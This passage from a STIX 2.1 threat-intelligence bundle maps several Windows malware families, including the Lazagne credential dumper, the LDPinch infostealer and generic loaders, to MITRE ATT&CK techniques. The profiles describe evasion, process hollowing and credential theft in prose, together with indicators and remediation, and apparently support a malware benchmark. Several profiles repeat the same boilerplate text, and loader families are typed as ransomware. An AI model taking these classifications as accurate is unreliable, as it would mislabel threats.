      "description": "Laqma exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96f2f7eb-7eab-55e8-8f5b-c8fd231fc4ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d4c65aa-80cb-582f-80d6-52ce864572ee",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laqma exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35991622-8ddc-5da7-88e7-e95cde01af48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d4c65aa-80cb-582f-80d6-52ce864572ee",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laqma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a77f6c3-ed41-5720-82ad-a64c88c21ca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d4c65aa-80cb-582f-80d6-52ce864572ee",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Laqma exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9166f58f-ebc3-51d5-9f9e-3f7a8da175dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Launcher",
      "description": "Trojan:Win32/Launcher is a generic classification for a critical architectural component of modern malware: the initial execution stub. A 'Launcher' (or Dropper/Loader) is a small, highly obfuscated executable whose *only* job is to evade initial antivirus detection, establish a foothold on the system, and then silently decrypt and start the main malicious payload (like ransomware or a RAT) in memory (`T1106`).<br><br><b>Understanding Launcher Components</b><br>To an end-user, a Launcher is invisible. They might double-click a fake invoice PDF, see nothing happen, and assume the file is broken. Meanwhile, the Launcher is executing in the background. For a SOC analyst, a Launcher detection is the tip of the iceberg. The critical question is not 'How do we remove the Launcher?', but rather, 'What payload did the Launcher execute before we caught it?'<br><br><b>Execution and Evasion Strategies</b><br>Launchers are heavily obfuscated and frequently repacked to defeat static signature scanning (`T1027.002`). Upon execution (often via phishing attachments), the launcher profiles the system to ensure it is not running in a sandbox (`T1497`). It often carries the secondary payload as an encrypted blob within its own resource section. To evade behavioral detection, the Launcher rarely writes the final payload to disk. Instead, it uses Native API calls (`T1106`) to create a suspended instance of a legitimate Windows process (like `svchost.exe`), unmaps its memory, and injects the decrypted malicious payload directly into that process (Process Hollowing) (`T1055.012`).<br><br><b>Indicators of Compromise (IoCs)</b><br>The most crucial IoCs are behavioral. EDR telemetry will show the initial execution, followed immediately by 'Suspicious Process Injection' or 'Process Hollowing'. A classic IoC is the Launcher executable spawning a legitimate Windows binary (like `notepad.exe` or `svchost.exe`) with no command-line arguments, and that child process subsequently making anomalous network connections. The hashes of the injected payloads must be extracted from memory. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Launcher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/launcher"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d75c9c4-279d-5560-9750-c74c697ae5ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9166f58f-ebc3-51d5-9f9e-3f7a8da175dc",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Launcher exhibits technique T1106 (Native API (Using Windows APIs to allocate memory and execute the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58d11bed-9823-59e3-b695-3a19055b69ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9166f58f-ebc3-51d5-9f9e-3f7a8da175dc",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Launcher exhibits technique T1055.012 (Process Injection: Process Hollowing (Injecting the payload into a legitimate process to evade AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb24512d-0d09-5dd0-ba32-041d1839cf2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9166f58f-ebc3-51d5-9f9e-3f7a8da175dc",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Launcher exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Evading static analysis))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d816226-2efe-5e8c-b6d6-7ff84ce173f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lazagne",
      "description": "HackTool:Win32/Lazagne is an open-source, highly versatile **Credential Dumper** and password recovery utility available on GitHub. While designed for legitimate penetration testing and sysadmin password recovery, it is almost exclusively seen in the wild as a weaponized post-exploitation tool (`T1003`). Once an attacker breaches a network, they deploy Lazagne to automatically harvest saved passwords, SSH keys, and tokens from dozens of supported applications (browsers, chat clients, databases, sysadmin tools) stored on the compromised endpoint.<br><br><b>Understanding the Lazagne Threat</b><br>To an IT administrator, Lazagne might seem like a useful recovery utility. To a SOC analyst, the execution of `lazagne.exe` (or its Python script equivalent) is a 'Code Red' indicator of a severe, interactive network breach. It means an attacker has bypassed perimeter defenses, escalated privileges on a host, and is now attempting to harvest credentials to pivot laterally across the enterprise domain.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Lazagne is typically dropped onto a victim machine *after* an initial compromise (e.g., via a phishing payload or an RDP brute-force attack) (`T1105`). The attacker usually executes it from a command shell with administrative privileges (`T1059.003`). Lazagne then automatically iterates through its modules (`T1082`). It queries the Windows Registry (`T1012`), parses SQLite databases used by browsers like Chrome and Firefox (`T1555.003`), extracts Wi-Fi profiles (`T1555.004`), and decrypts stored credentials using the Windows Data Protection API (DPAPI) (`T1555.004`). It outputs the harvested credentials in cleartext to the console or a text file for the attacker to exfiltrate.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the mass compromise of user identities, potentially granting the attacker Domain Admin privileges if an admin recently logged into the box. Host-based IoCs include EDR alerts for the execution of `lazagne.exe` (often renamed to evade simple blacklists), or alerts for anomalous processes querying multiple browser profile directories and DPAPI functions in rapid succession. The presence of a newly created `passwords.txt` or `creds.json` file in a temporary directory is a strong indicator. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lazagne",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lazagne"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7c4ba3c-cc51-5db4-9c58-921e1966780f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d816226-2efe-5e8c-b6d6-7ff84ce173f7",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lazagne exhibits technique T1003 (OS Credential Dumping (Using Lazagne to extract hashes/cleartext))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f5067b1-b8e9-51c8-bc4a-2b3f80d6cee4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d816226-2efe-5e8c-b6d6-7ff84ce173f7",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lazagne exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7e61773-4d3c-5d92-9451-6a9084ebba97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d816226-2efe-5e8c-b6d6-7ff84ce173f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lazagne exhibits technique T1105 (Ingress Tool Transfer (Dropping the tool post-compromise))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac51959b-85b7-5ffc-ad29-31433ac11971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d816226-2efe-5e8c-b6d6-7ff84ce173f7",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lazagne exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager (DPAPI extraction))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a694018-db7b-5fd6-9433-20c121f335dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ldpinch",
      "description": "LDPinch (prominently tracked under vendor signatures such as Trojan-PSW.Win32.LdPinch, PWS:Win32/LDPinch, Trojan.Pinch, and DamagLab Pinch) is a landmark modular password-stealing trojan and infostealer framework first authored in 2003 by the Russian hacker group DamagLab. Written in low-level Delphi and x86 Assembly, LDPinch became one of the earliest commercially sold crimeware toolkits in the underground economy, featuring a builder GUI that allowed purchasers to customize targeted applications, exfiltration protocols, and persistence routines. The malware systematically scans victim systems for stored credentials across web browsers (Internet Explorer, Opera, Mozilla Firefox), email clients (The Bat!, Microsoft Outlook, Thunderbird), FTP managers (Total Commander, FileZilla, CuteFTP, WS_FTP), instant messaging platforms (ICQ, Miranda IM, Trillian, MSN Messenger), and Windows Dial-Up Networking / RAS connections. Stolen credentials, hardware configuration profiles, and system metadata are compiled into compact encrypted binary packets and exfiltrated via HTTP POST, SMTP email transfer, or direct socket connections to attacker-controlled drop servers. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-PSW.Win32.LdPinch",
        "PWS:Win32/LDPinch",
        "Trojan.Pinch",
        "InfoStealer.LDPinch",
        "Trojan-PSW:Win32/LDPinch.gen",
        "Backdoor.Win32.Pinch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ldpinch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ldpinch"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--abb77862-fbd6-538a-a635-13b38d173698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lebag",
      "description": "Trojan:Win32/Lebag is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lebag</b><br>To an end-user, a Lebag infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lebag is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lebag is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lebag frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lebag reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lebag",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lebag"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--477bdd49-9d6a-594a-a68a-86b33d6fbeb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb77862-fbd6-538a-a635-13b38d173698",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lebag exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a67339d-7332-5c83-9760-2b93ae831f15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb77862-fbd6-538a-a635-13b38d173698",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lebag exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b026f379-cc07-5920-8689-f8c22f11aa92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb77862-fbd6-538a-a635-13b38d173698",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lebag exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87ee468f-54ec-5bff-b66e-a68bf11e54f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb77862-fbd6-538a-a635-13b38d173698",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lebag exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8eb11a25-5bd0-51d4-8afd-d8d7af36de6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb77862-fbd6-538a-a635-13b38d173698",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lebag exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--889b021f-8e62-5f37-9dc9-5a486943284f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ledruppi",
      "description": "Trojan:Win32/Ledruppi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ledruppi</b><br>To an end-user, a Ledruppi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ledruppi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ledruppi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ledruppi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ledruppi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ledruppi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ledruppi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--904fee55-0a7e-59a2-afbb-3830a9b89534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--889b021f-8e62-5f37-9dc9-5a486943284f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ledruppi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7940e7f-0e2f-5f25-845e-3d0f2abc7de2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--889b021f-8e62-5f37-9dc9-5a486943284f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ledruppi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f06e3ed-0320-5897-8e49-813682f56da0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--889b021f-8e62-5f37-9dc9-5a486943284f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ledruppi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3d65fb6-80c6-537f-ac2b-069d01ab1b86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--889b021f-8e62-5f37-9dc9-5a486943284f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ledruppi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48a4f889-23fa-5dd0-9536-40d07d99c40c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--889b021f-8e62-5f37-9dc9-5a486943284f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ledruppi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1a52709e-a5ef-5109-a089-e1405d7581e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Leivion",
      "description": "Trojan:Win32/Leivion is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Leivion</b><br>To an end-user, a Leivion infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Leivion is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Leivion is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Leivion frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Leivion reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Leivion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/leivion"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79dba33e-9679-538b-9576-61b91f11bf3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a52709e-a5ef-5109-a089-e1405d7581e2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leivion exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67d7cd1e-adc4-5ffe-b234-843f7ce174fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a52709e-a5ef-5109-a089-e1405d7581e2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leivion exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--718ca349-b265-5d90-b9e7-3c530b62c2e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a52709e-a5ef-5109-a089-e1405d7581e2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leivion exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4eebb0f1-1a31-5ceb-8eed-7e239151a690",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a52709e-a5ef-5109-a089-e1405d7581e2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leivion exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e192b02c-b612-5990-8027-de9aa34f9c98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a52709e-a5ef-5109-a089-e1405d7581e2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leivion exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2cdf66de-fec6-5551-820d-8ea365abb6c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lemoore",
      "description": "<h3>Executive Summary</h3>\nLemoore is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as banking trojans or ransomware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLemoore is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Microsoft Office documents) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Lemoore operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Lemoore ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` key) or by dropping a shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Lemoore receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials) or botnet agents.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lemoore infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Lemoore executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Lemoore often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Lemoore",
        "Downloader.Lemoore",
        "Win32/Lemoore"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lemoore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lemoore"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
